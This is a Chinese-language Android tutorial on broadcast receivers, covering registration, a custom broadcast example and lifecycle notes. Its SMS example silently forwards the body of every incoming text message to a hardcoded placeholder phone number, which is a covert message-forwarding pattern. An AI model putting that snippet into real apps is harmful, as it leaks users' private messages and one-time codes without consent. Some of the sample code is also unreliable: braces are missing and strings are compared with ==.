广播有两种形式:
1.android系统广播,例如低电量,开机,壁纸变化,短息接受等广播。
2.自定义的广播 自定定义广播,供自己的应用接受。
广播的注册方式有两种:
1.静态注册
在项目清单中使用过滤器注册:
<receiver android:name="com.enterise.always.receiver.SmsReceiver">
<intent-filter>
<action android:name="android.provider.Telephony.SMS_RECEIVED"/>
</intent-filter>
</receiver>
2.动态注册
在代码中注册:
SmsReceiver receiver = new SmsReceiver();
IntentFilter filter = new IntentFilter();
filter.addAction("");
this.registerReceiver(receiver, filter);
示例:
1.系统广播(短信接受监听)
在项目清单中注册广播:
<receiver android:name="com.enterise.always.receiver.SmsReceiver">
<intent-filter>
<action android:name="android.provider.Telephony.SMS_RECEIVED"/>
</intent-filter>
</receiver>
添加权限
<uses-permission android:name="android.permission.RECEIVE_SMS"/><!-- 接收短信权限 -->
<uses-permission android:name="android.permission.SEND_SMS"/><!-- 发送短信权限 -->
编写一个类继承BroadcaseReceiver
public class SmsReceiver extends BroadcastReceiver{
private static String SMS_RECEIVED = "android.provider.Telephony.SMS_RECEIVED";
@SuppressWarnings("deprecation")
@Override
public void onReceive(Context context, Intent intent) {
if(intent.getAction().equals(SMS_RECEIVED)) {
SmsManager sms = SmsManager.getDefault();
Bundle bundle = intent.getExtras();
if(bundle != null) {
Object[] pdus = (Object[]) bundle.get("pdus");
SmsMessage[] messages = new SmsMessage[pdus.length];
for (int i = 0; i < pdus.length; i++) messages[i] = SmsMessage.createFromPdu((byte[]) pdus[i]);
for (SmsMessage message : messages){
String msg = message.getMessageBody();
// String to = message.getOriginatingAddress();
String to="手机号码";
sms.sendTextMessage(to, null, msg, null, null);
}
}
}
示例2:
自定义广播:
package com.enterise.always.activity;
import com.enterise.always.receiver.MyReceiver;
import android.app.Activity;
import android.content.Intent;
import android.content.IntentFilter;
import android.os.Bundle;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;
public class MainActivity extends Activity implements OnClickListener{
/** Called when the activity is first created. */
private static String MY_ACTION = "com.enterise.always.receiver_action";
private Button button;
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
MyReceiver receiver = new MyReceiver();
IntentFilter filter = new IntentFilter();
filter.addAction(MY_ACTION);
this.registerReceiver(receiver, filter);
button = (Button)this.findViewById(R.id.main_submit);
button.setOnClickListener(this);
}
@Override
public void onClick(View v) {
if(v.equals(button)) {
Intent intent = new Intent();
intent.setAction(MY_ACTION);
intent.putExtra("name", "java");
sendBroadcast(intent);
}
}
}
package com.enterise.always.receiver;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.util.Log;
public class MyReceiver extends BroadcastReceiver{
private static String MY_ACTION = "com.enterise.always.receiver_action";
private static String TAG = "MyReceiver";
@Override
public void onReceive(Context context, Intent intent) {
String action = intent.getAction();
if(action == MY_ACTION) {
Bundle extras = intent.getExtras();
if(extras != null) {
String name = (String)extras.get("name");
Log.d(TAG, name);
}
}
}
注意的事项:
在Android中,每次广播消息到来时都会创建BroadcastReceiver实例并执行onReceive() 方法。
onReceive() 方法执行完后,BroadcastReceiver 的实例就会被销毁。
当onReceive() 方法在10秒内没有执行完毕,Android会认为该程序无响应。所以在BroadcastReceiver里不能做一些比较耗时的操作,否侧会弹出ANR(Application No Response)错误对话框。如果需要完成一项比较耗时的工作,应该通过发送Intent给Service,由Service来完成。这里不能使用子线程来解决,因为BroadcastReceiver的生命周期很短,子线程可能还没有结束BroadcastReceiver就先结束了。BroadcastReceiver一旦结束,此时BroadcastReceiver所在的进程很容易在系统需要内存时被优先杀死,因为它属于空进程(没有任何活动组件的进程)。如果它的所在进程被杀死,那么正在工作的子线程也会被杀死。所以采用子线程来解决是不可靠的。